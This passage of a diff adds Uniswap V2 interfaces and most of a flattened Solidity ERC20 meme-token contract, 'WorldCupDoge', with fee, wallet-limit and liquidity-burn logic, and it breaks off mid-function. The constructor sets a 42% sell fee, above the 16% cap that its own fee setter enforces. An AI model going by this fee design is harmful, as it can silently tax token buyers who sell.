774 |
+
* `revert` opcode (which leaves remaining gas untouched) while Solidity
|
775 |
+
* uses an invalid opcode to revert (consuming all remaining gas).
|
776 |
+
*
|
777 |
+
* Requirements:
|
778 |
+
*
|
779 |
+
* - The divisor cannot be zero.
|
780 |
+
*/
|
781 |
+
function div(
|
782 |
+
uint256 a,
|
783 |
+
uint256 b,
|
784 |
+
string memory errorMessage
|
785 |
+
) internal pure returns (uint256) {
|
786 |
+
unchecked {
|
787 |
+
require(b > 0, errorMessage);
|
788 |
+
return a / b;
|
789 |
+
}
|
790 |
+
}
|
791 |
+
|
792 |
+
/**
|
793 |
+
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
|
794 |
+
* reverting with custom message when dividing by zero.
|
795 |
+
*
|
796 |
+
* CAUTION: This function is deprecated because it requires allocating memory for the error
|
797 |
+
* message unnecessarily. For custom revert reasons use {tryMod}.
|
798 |
+
*
|
799 |
+
* Counterpart to Solidity's `%` operator. This function uses a `revert`
|
800 |
+
* opcode (which leaves remaining gas untouched) while Solidity uses an
|
801 |
+
* invalid opcode to revert (consuming all remaining gas).
|
802 |
+
*
|
803 |
+
* Requirements:
|
804 |
+
*
|
805 |
+
* - The divisor cannot be zero.
|
806 |
+
*/
|
807 |
+
function mod(
|
808 |
+
uint256 a,
|
809 |
+
uint256 b,
|
810 |
+
string memory errorMessage
|
811 |
+
) internal pure returns (uint256) {
|
812 |
+
unchecked {
|
813 |
+
require(b > 0, errorMessage);
|
814 |
+
return a % b;
|
815 |
+
}
|
816 |
+
}
|
817 |
+
}
|
818 |
+
|
819 |
+
////// src/IUniswapV2Factory.sol
|
820 |
+
/* pragma solidity 0.8.10; */
|
821 |
+
/* pragma experimental ABIEncoderV2; */
|
822 |
+
|
823 |
+
interface IUniswapV2Factory {
|
824 |
+
event PairCreated(
|
825 |
+
address indexed token0,
|
826 |
+
address indexed token1,
|
827 |
+
address pair,
|
828 |
+
uint256
|
829 |
+
);
|
830 |
+
|
831 |
+
function feeTo() external view returns (address);
|
832 |
+
|
833 |
+
function feeToSetter() external view returns (address);
|
834 |
+
|
835 |
+
function getPair(address tokenA, address tokenB)
|
836 |
+
external
|
837 |
+
view
|
838 |
+
returns (address pair);
|
839 |
+
|
840 |
+
function allPairs(uint256) external view returns (address pair);
|
841 |
+
|
842 |
+
function allPairsLength() external view returns (uint256);
|
843 |
+
|
844 |
+
function createPair(address tokenA, address tokenB)
|
845 |
+
external
|
846 |
+
returns (address pair);
|
847 |
+
|
848 |
+
function setFeeTo(address) external;
|
849 |
+
|
850 |
+
function setFeeToSetter(address) external;
|
851 |
+
}
|
852 |
+
|
853 |
+
////// src/IUniswapV2Pair.sol
|
854 |
+
/* pragma solidity 0.8.10; */
|
855 |
+
/* pragma experimental ABIEncoderV2; */
|
856 |
+
|
857 |
+
interface IUniswapV2Pair {
|
858 |
+
event Approval(
|
859 |
+
address indexed owner,
|
860 |
+
address indexed spender,
|
861 |
+
uint256 value
|
862 |
+
);
|
863 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
864 |
+
|
865 |
+
function name() external pure returns (string memory);
|
866 |
+
|
867 |
+
function symbol() external pure returns (string memory);
|
868 |
+
|
869 |
+
function decimals() external pure returns (uint8);
|
870 |
+
|
871 |
+
function totalSupply() external view returns (uint256);
|
872 |
+
|
873 |
+
function balanceOf(address owner) external view returns (uint256);
|
874 |
+
|
875 |
+
function allowance(address owner, address spender)
|
876 |
+
external
|
877 |
+
view
|
878 |
+
returns (uint256);
|
879 |
+
|
880 |
+
function approve(address spender, uint256 value) external returns (bool);
|
881 |
+
|
882 |
+
function transfer(address to, uint256 value) external returns (bool);
|
883 |
+
|
884 |
+
function transferFrom(
|
885 |
+
address from,
|
886 |
+
address to,
|
887 |
+
uint256 value
|
888 |
+
) external returns (bool);
|
889 |
+
|
890 |
+
function DOMAIN_SEPARATOR() external view returns (bytes32);
|
891 |
+
|
892 |
+
function PERMIT_TYPEHASH() external pure returns (bytes32);
|
893 |
+
|
894 |
+
function nonces(address owner) external view returns (uint256);
|
895 |
+
|
896 |
+
function permit(
|
897 |
+
address owner,
|
898 |
+
address spender,
|
899 |
+
uint256 value,
|
900 |
+
uint256 deadline,
|
901 |
+
uint8 v,
|
902 |
+
bytes32 r,
|
903 |
+
bytes32 s
|
904 |
+
) external;
|
905 |
+
|
906 |
+
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
|
907 |
+
event Burn(
|
908 |
+
address indexed sender,
|
909 |
+
uint256 amount0,
|
910 |
+
uint256 amount1,
|
911 |
+
address indexed to
|
912 |
+
);
|
913 |
+
event Swap(
|
914 |
+
address indexed sender,
|
915 |
+
uint256 amount0In,
|
916 |
+
uint256 amount1In,
|
917 |
+
uint256 amount0Out,
|
918 |
+
uint256 amount1Out,
|
919 |
+
address indexed to
|
920 |
+
);
|
921 |
+
event Sync(uint112 reserve0, uint112 reserve1);
|
922 |
+
|
923 |
+
function MINIMUM_LIQUIDITY() external pure returns (uint256);
|
924 |
+
|
925 |
+
function factory() external view returns (address);
|
926 |
+
|
927 |
+
function token0() external view returns (address);
|
928 |
+
|
929 |
+
function token1() external view returns (address);
|
930 |
+
|
931 |
+
function getReserves()
|
932 |
+
external
|
933 |
+
view
|
934 |
+
returns (
|
935 |
+
uint112 reserve0,
|
936 |
+
uint112 reserve1,
|
937 |
+
uint32 blockTimestampLast
|
938 |
+
);
|
939 |
+
|
940 |
+
function price0CumulativeLast() external view returns (uint256);
|
941 |
+
|
942 |
+
function price1CumulativeLast() external view returns (uint256);
|
943 |
+
|
944 |
+
function kLast() external view returns (uint256);
|
945 |
+
|
946 |
+
function mint(address to) external returns (uint256 liquidity);
|
947 |
+
|
948 |
+
function burn(address to)
|
949 |
+
external
|
950 |
+
returns (uint256 amount0, uint256 amount1);
|
951 |
+
|
952 |
+
function swap(
|
953 |
+
uint256 amount0Out,
|
954 |
+
uint256 amount1Out,
|
955 |
+
address to,
|
956 |
+
bytes calldata data
|
957 |
+
) external;
|
958 |
+
|
959 |
+
function skim(address to) external;
|
960 |
+
|
961 |
+
function sync() external;
|
962 |
+
|
963 |
+
function initialize(address, address) external;
|
964 |
+
}
|
965 |
+
|
966 |
+
////// src/IUniswapV2Router02.sol
|
967 |
+
/* pragma solidity 0.8.10; */
|
968 |
+
/* pragma experimental ABIEncoderV2; */
|
969 |
+
|
970 |
+
interface IUniswapV2Router02 {
|
971 |
+
function factory() external pure returns (address);
|
972 |
+
|
973 |
+
function WETH() external pure returns (address);
|
974 |
+
|
975 |
+
function addLiquidity(
|
976 |
+
address tokenA,
|
977 |
+
address tokenB,
|
978 |
+
uint256 amountADesired,
|
979 |
+
uint256 amountBDesired,
|
980 |
+
uint256 amountAMin,
|
981 |
+
uint256 amountBMin,
|
982 |
+
address to,
|
983 |
+
uint256 deadline
|
984 |
+
)
|
985 |
+
external
|
986 |
+
returns (
|
987 |
+
uint256 amountA,
|
988 |
+
uint256 amountB,
|
989 |
+
uint256 liquidity
|
990 |
+
);
|
991 |
+
|
992 |
+
function addLiquidityETH(
|
993 |
+
address token,
|
994 |
+
uint256 amountTokenDesired,
|
995 |
+
uint256 amountTokenMin,
|
996 |
+
uint256 amountETHMin,
|
997 |
+
address to,
|
998 |
+
uint256 deadline
|
999 |
+
)
|
1000 |
+
external
|
1001 |
+
payable
|
1002 |
+
returns (
|
1003 |
+
uint256 amountToken,
|
1004 |
+
uint256 amountETH,
|
1005 |
+
uint256 liquidity
|
1006 |
+
);
|
1007 |
+
|
1008 |
+
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
|
1009 |
+
uint256 amountIn,
|
1010 |
+
uint256 amountOutMin,
|
1011 |
+
address[] calldata path,
|
1012 |
+
address to,
|
1013 |
+
uint256 deadline
|
1014 |
+
) external;
|
1015 |
+
|
1016 |
+
function swapExactETHForTokensSupportingFeeOnTransferTokens(
|
1017 |
+
uint256 amountOutMin,
|
1018 |
+
address[] calldata path,
|
1019 |
+
address to,
|
1020 |
+
uint256 deadline
|
1021 |
+
) external payable;
|
1022 |
+
|
1023 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
1024 |
+
uint256 amountIn,
|
1025 |
+
uint256 amountOutMin,
|
1026 |
+
address[] calldata path,
|
1027 |
+
address to,
|
1028 |
+
uint256 deadline
|
1029 |
+
) external;
|
1030 |
+
}
|
1031 |
+
|
1032 |
+
/* pragma solidity >=0.8.10; */
|
1033 |
+
|
1034 |
+
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
|
1035 |
+
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
|
1036 |
+
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
|
1037 |
+
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
|
1038 |
+
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
|
1039 |
+
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
|
1040 |
+
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
|
1041 |
+
|
1042 |
+
contract WorldCupDoge is ERC20, Ownable {
|
1043 |
+
using SafeMath for uint256;
|
1044 |
+
|
1045 |
+
IUniswapV2Router02 public immutable uniswapV2Router;
|
1046 |
+
address public immutable uniswapV2Pair;
|
1047 |
+
address public constant deadAddress = address(0xdead);
|
1048 |
+
|
1049 |
+
bool private swapping;
|
1050 |
+
|
1051 |
+
address public marketingWallet;
|
1052 |
+
address public devWallet;
|
1053 |
+
|
1054 |
+
uint256 public maxTransactionAmount;
|
1055 |
+
uint256 public swapTokensAtAmount;
|
1056 |
+
uint256 public maxWallet;
|
1057 |
+
|
1058 |
+
uint256 public percentForLPBurn = 25; // 25 = .25%
|
1059 |
+
bool public lpBurnEnabled = true;
|
1060 |
+
uint256 public lpBurnFrequency = 3600 seconds;
|
1061 |
+
uint256 public lastLpBurnTime;
|
1062 |
+
|
1063 |
+
uint256 public manualBurnFrequency = 30 minutes;
|
1064 |
+
uint256 public lastManualLpBurnTime;
|
1065 |
+
|
1066 |
+
bool public limitsInEffect = true;
|
1067 |
+
bool public tradingActive = false;
|
1068 |
+
bool public swapEnabled = false;
|
1069 |
+
|
1070 |
+
// Anti-bot and anti-whale mappings and variables
|
1071 |
+
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
|
1072 |
+
bool public transferDelayEnabled = true;
|
1073 |
+
|
1074 |
+
uint256 public buyTotalFees;
|
1075 |
+
uint256 public buyMarketingFee;
|
1076 |
+
uint256 public buyLiquidityFee;
|
1077 |
+
uint256 public buyDevFee;
|
1078 |
+
|
1079 |
+
uint256 public sellTotalFees;
|
1080 |
+
uint256 public sellMarketingFee;
|
1081 |
+
uint256 public sellLiquidityFee;
|
1082 |
+
uint256 public sellDevFee;
|
1083 |
+
|
1084 |
+
uint256 public tokensForMarketing;
|
1085 |
+
uint256 public tokensForLiquidity;
|
1086 |
+
uint256 public tokensForDev;
|
1087 |
+
|
1088 |
+
/******************/
|
1089 |
+
|
1090 |
+
// exlcude from fees and max transaction amount
|
1091 |
+
mapping(address => bool) private _isExcludedFromFees;
|
1092 |
+
mapping(address => bool) public _isExcludedMaxTransactionAmount;
|
1093 |
+
|
1094 |
+
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
|
1095 |
+
// could be subject to a maximum transfer amount
|
1096 |
+
mapping(address => bool) public automatedMarketMakerPairs;
|
1097 |
+
|
1098 |
+
event UpdateUniswapV2Router(
|
1099 |
+
address indexed newAddress,
|
1100 |
+
address indexed oldAddress
|
1101 |
+
);
|
1102 |
+
|
1103 |
+
event ExcludeFromFees(address indexed account, bool isExcluded);
|
1104 |
+
|
1105 |
+
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
|
1106 |
+
|
1107 |
+
event marketingWalletUpdated(
|
1108 |
+
address indexed newWallet,
|
1109 |
+
address indexed oldWallet
|
1110 |
+
);
|
1111 |
+
|
1112 |
+
event devWalletUpdated(
|
1113 |
+
address indexed newWallet,
|
1114 |
+
address indexed oldWallet
|
1115 |
+
);
|
1116 |
+
|
1117 |
+
event SwapAndLiquify(
|
1118 |
+
uint256 tokensSwapped,
|
1119 |
+
uint256 ethReceived,
|
1120 |
+
uint256 tokensIntoLiquidity
|
1121 |
+
);
|
1122 |
+
|
1123 |
+
event AutoNukeLP();
|
1124 |
+
|
1125 |
+
event ManualNukeLP();
|
1126 |
+
|
1127 |
+
constructor() ERC20("WorldCupDoge", "WCD") {
|
1128 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
|
1129 |
+
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
|
1130 |
+
);
|
1131 |
+
|
1132 |
+
excludeFromMaxTransaction(address(_uniswapV2Router), true);
|
1133 |
+
uniswapV2Router = _uniswapV2Router;
|
1134 |
+
|
1135 |
+
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
1136 |
+
.createPair(address(this), _uniswapV2Router.WETH());
|
1137 |
+
excludeFromMaxTransaction(address(uniswapV2Pair), true);
|
1138 |
+
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
|
1139 |
+
|
1140 |
+
uint256 _buyMarketingFee = 3;
|
1141 |
+
uint256 _buyLiquidityFee = 3;
|
1142 |
+
uint256 _buyDevFee = 3;
|
1143 |
+
|
1144 |
+
uint256 _sellMarketingFee = 20;
|
1145 |
+
uint256 _sellLiquidityFee = 2;
|
1146 |
+
uint256 _sellDevFee = 20;
|
1147 |
+
|
1148 |
+
uint256 totalSupply = 10_000_000 * 1e18;
|
1149 |
+
|
1150 |
+
maxTransactionAmount = 100_000 * 1e18; // 1% from total supply maxTransactionAmountTxn
|
1151 |
+
maxWallet = 200_000 * 1e18; // 2% from total supply maxWallet
|
1152 |
+
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
|
1153 |
+
|
1154 |
+
buyMarketingFee = _buyMarketingFee;
|
1155 |
+
buyLiquidityFee = _buyLiquidityFee;
|
1156 |
+
buyDevFee = _buyDevFee;
|
1157 |
+
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
|
1158 |
+
|
1159 |
+
sellMarketingFee = _sellMarketingFee;
|
1160 |
+
sellLiquidityFee = _sellLiquidityFee;
|
1161 |
+
sellDevFee = _sellDevFee;
|
1162 |
+
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
|
1163 |
+
|
1164 |
+
marketingWallet = address(0xf04e962771F770460cC3C9a33009b33C5D64bB0d); // set as marketing wallet
|
1165 |
+
devWallet = address(0x76eeCD725fbDBab114A7CD14b6678FD18ec21509); // set as dev wallet
|
1166 |
+
|
1167 |
+
// exclude from paying fees or having max transaction amount
|
1168 |
+
excludeFromFees(owner(), true);
|
1169 |
+
excludeFromFees(address(this), true);
|
1170 |
+
excludeFromFees(address(0xdead), true);
|
1171 |
+
|
1172 |
+
excludeFromMaxTransaction(owner(), true);
|
1173 |
+
excludeFromMaxTransaction(address(this), true);
|
1174 |
+
excludeFromMaxTransaction(address(0xdead), true);
|
1175 |
+
|
1176 |
+
/*
|
1177 |
+
_mint is an internal function in ERC20.sol that is only called here,
|
1178 |
+
and CANNOT be called ever again
|
1179 |
+
*/
|
1180 |
+
_mint(msg.sender, totalSupply);
|
1181 |
+
}
|
1182 |
+
|
1183 |
+
receive() external payable {}
|
1184 |
+
|
1185 |
+
// once enabled, can never be turned off
|
1186 |
+
function enableTrading() external onlyOwner {
|
1187 |
+
tradingActive = true;
|
1188 |
+
swapEnabled = true;
|
1189 |
+
lastLpBurnTime = block.timestamp;
|
1190 |
+
}
|
1191 |
+
|
1192 |
+
// remove limits after token is stable
|
1193 |
+
function removeLimits() external onlyOwner returns (bool) {
|
1194 |
+
limitsInEffect = false;
|
1195 |
+
return true;
|
1196 |
+
}
|
1197 |
+
|
1198 |
+
// disable Transfer delay - cannot be reenabled
|
1199 |
+
function disableTransferDelay() external onlyOwner returns (bool) {
|
1200 |
+
transferDelayEnabled = false;
|
1201 |
+
return true;
|
1202 |
+
}
|
1203 |
+
|
1204 |
+
// change the minimum amount of tokens to sell from fees
|
1205 |
+
function updateSwapTokensAtAmount(uint256 newAmount)
|
1206 |
+
external
|
1207 |
+
onlyOwner
|
1208 |
+
returns (bool)
|
1209 |
+
{
|
1210 |
+
require(
|
1211 |
+
newAmount >= (totalSupply() * 1) / 100000,
|
1212 |
+
"Swap amount cannot be lower than 0.001% total supply."
|
1213 |
+
);
|
1214 |
+
require(
|
1215 |
+
newAmount <= (totalSupply() * 5) / 1000,
|
1216 |
+
"Swap amount cannot be higher than 0.5% total supply."
|
1217 |
+
);
|
1218 |
+
swapTokensAtAmount = newAmount;
|
1219 |
+
return true;
|
1220 |
+
}
|
1221 |
+
|
1222 |
+
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
|
1223 |
+
require(
|
1224 |
+
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
|
1225 |
+
"Cannot set maxTransactionAmount lower than 0.1%"
|
1226 |
+
);
|
1227 |
+
maxTransactionAmount = newNum * (10**18);
|
1228 |
+
}
|
1229 |
+
|
1230 |
+
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
|
1231 |
+
require(
|
1232 |
+
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
|
1233 |
+
"Cannot set maxWallet lower than 0.5%"
|
1234 |
+
);
|
1235 |
+
maxWallet = newNum * (10**18);
|
1236 |
+
}
|
1237 |
+
|
1238 |
+
function excludeFromMaxTransaction(address updAds, bool isEx)
|
1239 |
+
public
|
1240 |
+
onlyOwner
|
1241 |
+
{
|
1242 |
+
_isExcludedMaxTransactionAmount[updAds] = isEx;
|
1243 |
+
}
|
1244 |
+
|
1245 |
+
// only use to disable contract sales if absolutely necessary (emergency use only)
|
1246 |
+
function updateSwapEnabled(bool enabled) external onlyOwner {
|
1247 |
+
swapEnabled = enabled;
|
1248 |
+
}
|
1249 |
+
|
1250 |
+
function updateBuyFees(
|
1251 |
+
uint256 _marketingFee,
|
1252 |
+
uint256 _liquidityFee,
|
1253 |
+
uint256 _devFee
|
1254 |
+
) external onlyOwner {
|
1255 |
+
buyMarketingFee = _marketingFee;
|
1256 |
+
buyLiquidityFee = _liquidityFee;
|
1257 |
+
buyDevFee = _devFee;
|
1258 |
+
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
|
1259 |
+
require(buyTotalFees <= 8, "Must keep fees at 8% or less");
|
1260 |
+
}
|
1261 |
+
|
1262 |
+
function updateSellFees(
|
1263 |
+
uint256 _marketingFee,
|
1264 |
+
uint256 _liquidityFee,
|
1265 |
+
uint256 _devFee
|
1266 |
+
) external onlyOwner {
|
1267 |
+
sellMarketingFee = _marketingFee;
|
1268 |
+
sellLiquidityFee = _liquidityFee;
|
1269 |
+
sellDevFee = _devFee;
|
1270 |
+
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
|
1271 |
+
require(sellTotalFees <= 16, "Must keep fees at 16% or less");
|
1272 |
+
}
|
1273 |
+
|
1274 |
+
function excludeFromFees(address account, bool excluded) public onlyOwner {
|
1275 |
+
_isExcludedFromFees[account] = excluded;
|
1276 |
+
emit ExcludeFromFees(account, excluded);
|
1277 |
+
}
|
1278 |
+
|
1279 |
+
function setAutomatedMarketMakerPair(address pair, bool value)
|
1280 |
+
public
|
1281 |
+
onlyOwner
|
1282 |
+
{
|
1283 |
+
require(
|
1284 |
+
pair != uniswapV2Pair,
|
1285 |
+
"The pair cannot be removed from automatedMarketMakerPairs"
|
1286 |
+
);
|
1287 |
+
|
1288 |
+
_setAutomatedMarketMakerPair(pair, value);
|
1289 |
+
}
|
1290 |
+
|
1291 |
+
function _setAutomatedMarketMakerPair(address pair, bool value) private {
|
1292 |
+
automatedMarketMakerPairs[pair] = value;
|
1293 |
+
|
1294 |
+
emit SetAutomatedMarketMakerPair(pair, value);
|
1295 |
+
}
|
1296 |
+
|
1297 |
+
function updateMarketingWallet(address newMarketingWallet)
|
1298 |
+
external
|
1299 |
+
onlyOwner
|
1300 |
+
{
|
1301 |
+
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
|
1302 |
+
marketingWallet = newMarketingWallet;
|
1303 |
+
}
|
1304 |
+
|
1305 |
+
function updateDevWallet(address newWallet) external onlyOwner {
|
1306 |
+
emit devWalletUpdated(newWallet, devWallet);
|
1307 |
+
devWallet = newWallet;
|
1308 |
+
}
|
1309 |
+
|
1310 |
+
function isExcludedFromFees(address account) public view returns (bool) {
|
1311 |
+
return _isExcludedFromFees[account];
|
1312 |
+
}
|
1313 |
+
|
1314 |
+
event BoughtEarly(address indexed sniper);
|
1315 |
+
|
1316 |
+
function _transfer(
|
1317 |
+
address from,
|
1318 |
+
address to,
|
1319 |
+
uint256 amount
|
1320 |
+
) internal override {
|
1321 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
1322 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
1323 |
+
|
1324 |
+
if (amount == 0) {
|
1325 |
+
super._transfer(from, to, 0);
|
1326 |
+
return;
|
1327 |
+
}
|
1328 |
+
|
1329 |
+
if (limitsInEffect) {
|
1330 |
+
if (
|
1331 |
+
from != owner() &&
|
1332 |
+
to != owner() &&
|
1333 |
+
to != address(0) &&
|
1334 |
+
to != address(0xdead) &&
|
1335 |
+
!swapping
|
1336 |
+
) {
|
1337 |
+
if (!tradingActive) {
|
1338 |
+
require(
|
1339 |
+
_isExcludedFromFees[from] || _isExcludedFromFees[to],
|
1340 |
+
"Trading is not active."
|
1341 |
+
);
|
1342 |
+
}
|
1343 |
+
|
1344 |
+
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
|
1345 |
+
if (transferDelayEnabled) {
|
1346 |
+
if (
|
1347 |
+
to != owner() &&
|
1348 |
+
to != address(uniswapV2Router) &&
|
1349 |
+
to != address(uniswapV2Pair)
|
1350 |
+
) {
|
1351 |
+
require(
|
1352 |
+
_holderLastTransferTimestamp[tx.origin] <
|
1353 |
+
block.number,
|
1354 |
+
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
|
1355 |
+
);
|
1356 |
+
_holderLastTransferTimestamp[tx.origin] = block.number;
|
1357 |
+
}
|
1358 |
+
}
|
1359 |
+
|
1360 |
+
//when buy
|
1361 |
+
if (
|
1362 |
+
automatedMarketMakerPairs[from] &&
|
1363 |
+
!_isExcludedMaxTransactionAmount[to]
|
1364 |
+
) {
|
1365 |
+
require(
|
1366 |
+
amount <= maxTransactionAmount,
|
1367 |
+
"Buy transfer amount exceeds the maxTransactionAmount."
|
1368 |
+
);
|
1369 |
+
require(
|
1370 |
+
amount + balanceOf(to) <= maxWallet,
|
1371 |
+
"Max wallet exceeded"
|
1372 |
+
);
|
1373 |
+
}
|
1374 |
+
//when sell
|
1375 |
+
else if (
|
1376 |
+
automatedMarketMakerPairs[to] &&
|
1377 |
+
!_isExcludedMaxTransactionAmount[from]
|
1378 |
+
) {
|
1379 |
+
require(
|
1380 |
+
amount <= maxTransactionAmount,
|
1381 |
+
"Sell transfer amount exceeds the maxTransactionAmount."
|
1382 |
+
);
|
1383 |
+
} else if (!_isExcludedMaxTransactionAmount[to]) {
|
1384 |
+
require(
|
1385 |
+
amount + balanceOf(to) <= maxWallet,
|
1386 |
+
"Max wallet exceeded"
|
1387 |
+
);
|
1388 |
+
}
|
1389 |
+
}
|
1390 |
+
}
|
1391 |
+
|
1392 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
1393 |
+
|
1394 |
+
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
|
1395 |
+
|
1396 |
+
if (
|
1397 |
+
canSwap &&
|
1398 |
+
swapEnabled &&
|
1399 |
+
!swapping &&
|
1400 |
+
!automatedMarketMakerPairs[from] &&
|
1401 |
+
!_isExcludedFromFees[from] &&
|
1402 |
+
!_isExcludedFromFees[to]
|
1403 |
+
) {
|
1404 |
+
swapping = true;
|
1405 |
+
|
1406 |
+
swapBack();
|
1407 |
+
|
1408 |
+
swapping = false;
|
1409 |
+
}
|
1410 |
+
|
1411 |
+
if (
|
1412 |
+
!swapping &&
|
1413 |
+
automatedMarketMakerPairs[to] &&
|
1414 |
+
lpBurnEnabled &&
|
1415 |
+
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
|
1416 |
+
!_isExcludedFromFees[from]
|
1417 |
+
) {
|
1418 |
+
autoBurnLiquidityPairTokens();
|
1419 |
+
}
|
1420 |
+
|
1421 |
+
bool takeFee = !swapping;
|
1422 |
+
|
1423 |
+
// if any account belongs to _isExcludedFromFee account then remove the fee
|
1424 |
+
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
|
1425 |
+
takeFee = false;
|
1426 |
+
}
|
1427 |
+
|
1428 |
+
uint256 fees = 0;
|
1429 |
+
// only take fees on buys/sells, do not take on wallet transfers
|
1430 |
+
if (takeFee) {
|
1431 |
+
// on sell
|
1432 |
+
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
|
1433 |
+
fees = amount.mul(sellTotalFees).div(100);
|
1434 |
+
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
|
1435 |
+
tokensForDev += (fees * sellDevFee) / sellTotalFees;
|
1436 |
+
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
|
1437 |
+
}
|
1438 |
+
// on buy
|
1439 |
+
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
|
1440 |
+
fees = amount.mul(buyTotalFees).div(100);
|
1441 |
+
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
|
1442 |
+
tokensForDev += (fees * buyDevFee) / buyTotalFees;
|
1443 |
+
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
|
1444 |
+
}
|
1445 |
+
|
1446 |
+
if (fees > 0) {
|
1447 |
+
super._transfer(from, address(this), fees);
|
1448 |
+
}
|
1449 |
+
|
1450 |
+
amount -= fees;
|
1451 |
+
}
|
1452 |
+
|
1453 |
+
super._transfer(from, to, amount);
|
1454 |
+
}
|
1455 |
+
|
1456 |
+
function swapTokensForEth(uint256 tokenAmount) private {
|
1457 |
+
// generate the uniswap pair path of token -> weth
|
1458 |
+
address[] memory path = new address[](2);
|
1459 |
+
path[0] = address(this);
|
1460 |
+
path[1] = uniswapV2Router.WETH();
|
1461 |
+
|
1462 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
1463 |
+
|
1464 |
+
// make the swap
|
1465 |
+
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
1466 |
+
tokenAmount,
|
1467 |
+
0, // accept any amount of ETH
|
1468 |
+
path,
|
1469 |
+
address(this),
|
1470 |
+
block.timestamp
|
1471 |
+
);
|
1472 |
+
}
|
1473 |
+
|
1474 |
+
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
|
1475 |
+
// approve token transfer to cover all possible scenarios
|
1476 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
1477 |
+
|
1478 |
+
// add the liquidity
|
1479 |
+
uniswapV2Router.addLiquidityETH{value: ethAmount}(
|
1480 |
+
address(this),
|
1481 |
+
tokenAmount,
|
1482 |
+
0, // slippage is unavoidable
|
1483 |
+
0, // slippage is unavoidable
|
1484 |
+
deadAddress,
|
1485 |
+
block.timestamp
|
1486 |
+
);
|
1487 |
+
}
|
1488 |
+
|
1489 |
+
function swapBack() private {
|
1490 |
+
uint256 contractBalance = balanceOf(address(this));
|
1491 |
+
uint256 totalTokensToSwap = tokensForLiquidity +
|
1492 |
+
tokensForMarketing +
|
1493 |
+
tokensForDev;
|
1494 |
+
bool success;
|
1495 |
+
|
1496 |
+
if (contractBalance == 0 || totalTokensToSwap == 0) {
|
1497 |
+
return;
|
1498 |
+
}
|
1499 |
+
|
1500 |
+
if (contractBalance > swapTokensAtAmount * 20) {
|
1501 |
+
contractBalance = swapTokensAtAmount * 20;
|
1502 |
+
}
|
1503 |
+
|
1504 |
+
// Halve the amount of liquidity tokens
|
1505 |
+
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
|
1506 |
+
totalTokensToSwap /
|
1507 |
+
2;
|
1508 |
+
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
|
1509 |
+
|
1510 |
+
uint256 initialETHBalance = address(this).balance;
|
1511 |
+
|
1512 |
+
swapTokensForEth(amountToSwapForETH);
|
1513 |
+
|
1514 |
+
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
|
1515 |
+
|
1516 |
+
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
|
1517 |
+
totalTokensToSwap
|
1518 |
+
);
|
1519 |
+
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
|
1520 |
+
|
1521 |
+
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
|
1522 |
+
|
1523 |
+
tokensForLiquidity = 0;
|
1524 |
+
tokensForMarketing = 0;
|
1525 |
+
tokensForDev = 0;
|
1526 |
+
|
1527 |
+
(success, ) = address(devWallet).call{value: ethForDev}("");
|
1528 |
+
|
1529 |
+
if (liquidityTokens > 0 && ethForLiquidity > 0) {
|
1530 |
+
addLiquidity(liquidityTokens, ethForLiquidity);
|
1531 |
+
emit SwapAndLiquify(
|
1532 |
+
amountToSwapForETH,
|
1533 |
+
ethForLiquidity,
|
1534 |
+
tokensForLiquidity
|
1535 |
+
);
|
1536 |
+
}
|
1537 |
+
|
1538 |
+
(success, ) = address(marketingWallet).call{
|
1539 |
+
value: address(this).balance
|
1540 |
+
}("");
|
1541 |
+
